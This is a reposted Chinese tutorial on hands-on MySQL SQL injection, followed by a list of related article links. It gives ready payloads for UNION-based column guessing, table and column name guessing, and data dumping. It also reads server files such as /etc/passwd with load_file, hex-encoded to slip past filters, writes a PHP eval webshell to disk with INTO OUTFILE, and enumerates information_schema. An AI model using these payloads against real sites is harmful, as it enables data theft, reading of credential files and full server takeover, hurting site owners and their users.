出现的关键名词有: UNION  SELECT   load_file   hex

为了方便说明我们先创建两个表:hehe和heihei,很明显它们一个拥有2列属性,一个拥有3列属性

==========================================================================================

一. UNION 的原理

UNION 需要两个被select的集合拥有相同的列数。一开始我并不是很理解这个相同是什么,然后我做了个实验:
这个错误提示很明显了:ERROR 1222 (21000): The used SELECT statements have a different number of columns
因为它们select出来的结果集的列数不一致,这对一个操作并集合的union来说是不可操作的,所以就报错了。
那么是不是只要保证两个结果集的列数相同就好了呢,我们继续做实验,
这个结果也是很明显:OK !!!
总结:union连结的两个结果集的列数要相等!
 
那么我们是怎么利用UNION搞注入呢?
(1)猜解表名,只有猜解对了表名才能继续深入。用这句:
  1. select * from hehe where id = 3 and exists(select * from admin);
exists()函数用于检查子查询是否至少会返回一行数据。实际上不返回任何数据,而是返回True或者False。结果当然是不存在啦:
如果表名存在就返回结果集:
总结:在实战中我们可以用exsits()猜解表名
 
(2)用UNION猜解列数(- - 终于用到了UNION)
原理是:利用两边结果集必须相等列数!
  1. select * from hehe where id =3 and 1=1 union select 1,2,3;
如图,第一次我们猜测两列(1,2)失败了,第二次我们猜测三列(1,2,3)成功了。
总结:我们用and union select 1,2,3,4,5,6...;来猜解列数,只有列数相等了,才能返回True!
 
(3)猜解列名
用猜解表名的方法:
  1. select * from hehe where id=3 and exists(select name from hehe);


如图,第一次我们猜解有个列名为name1,报错了,第二次我们猜解列名为name,返回正常,说明真的有个列名为name!

总结:用 select * from hehe where id=3 and exists(select name from hehe);来猜解列名!
 
(4)猜解字段内容
这个通过步骤三我们已经猜解出列名:name和id了。那么怎么让它们暴出内容呢?
用:
  1. select * from hehe where id=3 and 1=2  union select 0,0,name from hehe;

总结:知道列名后,把列名至于其中任意位置,就能在那个位置暴出列的内容来。实战中不是每一个列的内容都显示在web page上的,所以有的人就先用:
  1. unoin select 1,2,3,4,5,6,7 from hehe;

之类的语句,看看web page上出现的数字为几就把列名填写在第几个列上,如:web page上暴出5,那么我们就把SQL语句改成:

  1. unoin select 1,2,3,4,name,6,7 from hehe;

然后就能暴出来name的内容啦。。

 

二.load_file()和UNION 读取服务器文件内容

函数 LOAD_FILE(file_name):读取文件并将这一文件按照字符串的格式返回。 
文件的位置必须在服务器上 , 你必须为文件制定路径全名,而且你还必须拥有 FILE 特许权。
文件必须可读取,文件容量必须小于 max_allowed_packet 字节。
若文件不存在,或因不满足上述条件而不能被读取, 则函数返回值为 NULL。
 
这个load_file()看起来很正常,因为它就是加载一个绝对路径文件(先保证有读权限)。可是神奇的是:
它可以在UNOIN中充当一个字段,能够来读取服务器的文件。
在我的服务器上有个文件:"d:/test.txt",里面内容是:"key:HelloWorld.",看我用load_file把他读取出来:
  1. select * from hehe where id=3 and 1=2 union select 0,load_file("d:/test.txt"),count(*) from mysql.user;
 
总结:“A语句 UNION B语句” 中的这个UNION就是把最终的结果集放到“A语句"的属性(列)下。上图上结果是把0,放到列1下,把load_file("d:/tes.txt")的内容放到列2下,把count(*)返回的结果放到列3下。很科学地达到了我们读取服务器文件的目的。
 
Ps:上面的 1=2 看到了吗?是让”A语句“查询结果为空,看着舒服。
Ps:这个load_file()用在MySQL中
 
load_file的过滤
实战中URL写成load_file("/etc/passwd")一般会被过滤,所以不科学,不过我们可以用16进制来表示(hex)就好啦:
打开UltraEdit,然后把 /etc/passwd 放到里面,然后右键有个16进制编辑,然后就看到了16进制了:0x2F6574632F706173737764,知道为什么要加这个“0x”吗?因为它是16进制。。。
 
Ps:经验哦~如果过滤了空格就用“+”表示
 
 

三 用select  into   outfile 把一句话木马写进文件

  1. select '<?php eval($_POST[cmd])?>'  into outfile 'c://aa.php';
 
然后我们将会看到:
里面有一句话木马: <?php   eval($_POST[cmd]) ?> 然后就能用菜刀去连接了。(什么不知道什么叫做一句话木马?什么叫做菜刀?赶紧去google吧)
总结:获得数据库权限真的是一件好事啊~~
 

四.用系统函数+UNOIN暴出数据库的信息(如果web不禁用,极其高效!)

information_schema.SCHEMATA表中的SCHEMA_NAME 查看所有的数据库
  1. select * from hehe where id=3 and 1=2  union select 0,0,SCHEMA_NAME from information_schema.SCHEMATA limit 1,2;

 
information_schema.TABLES 表中的TABLE_NAME和TABLE_SCHEMA查看所有的表名和所在的数据库:
  1. select TABLE_NAME ,TABLE_SCHEMA from information_schema.TABLES where TABLE_SCHEMA = "haha"
 

 
information_schema.COLUMNS 表中的 COLUMN_NAME 查看表中的所有列名:
  1. select TABLE_NAME,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME= "hehe"l
 

 
version() 版本(看第一列)
 
database() 当前数据库名字(看第一列)
 
user() 当前用户(看第一列)
 
@@global.version_compile_os  操作系统(看第一列):
 
and ord(mid(user(),1,1))=144查看数据库权限(注意144就是字符”r“,也就是”root“的第一个字符):

Ps:有更好的unoin select user(),2,3 ;不用? 不是的,因为实战中有的web不准用。用这个就可以来查看数据库权限啦~
Ps:ord(),若字符串str 的最左字符是一个多字节字符,则返回该字符的代码。(多字节。。有意思。。)
 
总结:这个information_schema数据库是个特别强大的数据库,里面包含的表很多,有SCHEMATAS(数据库信息),TABLES(表信息),COLUMNS(列信息)等等。。。

 

(转载)sql注入实战 mysql篇的更多相关文章

  1. SQL注入之MySQL报错注入整理

    看大佬们的文章看得我虎躯一震,精神抖擞,于是心血来潮,整理一下MySQL报错注入常见的手段和方法,再举几个例子 <代码审计:企业级Web代码安全架构>一书中介绍过报错注入十大方法,依次是: ...

  2. SQL注入(一) - 入门篇

    什么是SQL注入 可能大家还不是对SQL注入这个概念不是很清楚,简单地说,SQL注入就是攻击者通过正常的WEB页面,把自己SQL代码传入到应用程序中,从而通过执行非程序员预期的SQL代码,达到窃取数据 ...

  3. [红日安全]Web安全Day1 - SQL注入实战攻防

    本文由红日安全成员: Aixic 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名 ...

  4. 记一次SQL注入实战

    刚发现漏洞时,我就已经成功实现了注入,因为怕发到网上后被玩坏,一直没有发布.今天去看了看,原网页已经无法访问了,现在发出来应该就没有什么大问题了. 本文仅供学习交流,目的是为了构建更加安全的网络环境! ...

  5. sql注入原理+mysql相关知识点

    什么是SQL注入 sql就是经常说的数据库,而sql注入就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.SQL注入是比较常见的网络攻击 ...

  6. SQL注入之MySQL常用的查询语句

    MySQL是一种使用很广的数据库,大部分网站都是用MySQL,所以熟悉对MySQL数据库的注入很重要. 首先来说下MySQL注入的相关知识点 在MySQL5.0版本之后,MySQL默认在数据库存放一个 ...

  7. SQL注入实战新手教程

    本文章仅用于网络安全交流学习,严禁用于非法用途,否则后果自负 一.如何批量找SQL注入(工具+资源都打包):http://www.liuwx.cn/post-149.html 1.SQL注入点搜索关键 ...

  8. [MYSQL手工注入](3)基于报错的SQL注入实战

    0x03 MYSQL 手工注入实战--基于错误的 SQL 注入 今天如愿以偿的找到了基于错误的SQL注入环境了:是一个国外卖音响的小网站,还在建设中: 看一下报错信息: (1)确定闭合语句:从上面的报 ...

  9. SQL注入之Mysql报错注入

    --志向和热爱是伟大行为的双翼. 昨天偷懒了没学什么东西,先自我反省一下 - -. 今天认真的学习了一下Mysql报错注入利用方法及原理,好久之前就像认真的学一下这个了,是在上海市大学生网络安全大赛中 ...

随机推荐

  1. 复习及总结--.Net线程篇(2)

    复习总结 上一篇里讲到了使用委托异步调用的方式来使用多线程,这里介绍几个概念 这里贴出来一个关于应用程序域的帖子 http://www.cnblogs.com/firstyi/archive/2008 ...

  2. Python学习笔记14—模块

    在python中所有的模块都被加入到了sys.path中,用下面的方法可以看见模块的位置. >>> import sys >>> import pprint > ...

  3. VS2013新特性

    大家可能看到我这边颜色和字体和原本不同,这里特意分享给大家背景护眼色值(这对每天看电脑的程序员很重要对不对!)还有字体: 工具-选项-字体和颜色:在项背景点击自定义-色调85 饱和度123 亮度205 ...

  4. 160426、JavaScript 秘密花园

    简介 关于作者 这篇文章的作者是两位 Stack Overflow 用户, 伊沃·韦特泽尔 Ivo Wetzel(写作) 和 张易江 Zhang Yi Jiang(设计). 贡献者 贡献者 中文翻译 ...

  5. Code Forces 644B Processing Queries

    B. Processing Queries time limit per test5 seconds memory limit per test256 megabytes inputstandard ...

  6. Client IP Address Client Identification

    HTTP The Definitive Guide Early web pioneers tried using the IP address of the client as a form of i ...

  7. navicat导入数据出现中文乱码

    1.问题描述: excel转为csv后,导入英文时没错.但中文就是显示的乱码. 2.解决方法: 将csv用记事本打开,调整编码格式为UTF-8, 点击保存覆盖掉原文件,然后再 导入,乱码问题就解决

  8. Spark 源码分析 -- Stage

    理解stage, 关键就是理解Narrow Dependency和Wide Dependency, 可能还是觉得比较难理解 关键在于是否需要shuffle, 不需要shuffle是可以随意并发的, 所 ...

  9. 4.2 - MySQL

    一.表关系 请创建如下表,并创建相关约束 班级表:class 学生表:student cid caption grade_id sid sname gender class_id 1 一年一班 1 1 ...

  10. post 传递参数中包含 html 代码解决办法,js加密,.net解密

    今天遇到一个问题,就是用post方式传递参数,程序在vs中完美调试,但是在iis中,就无法运行了,显示传递的参数获取不到,报错了,查看浏览器请求情况,错误500,服务器内部错误,当时第一想法是接收方式 ...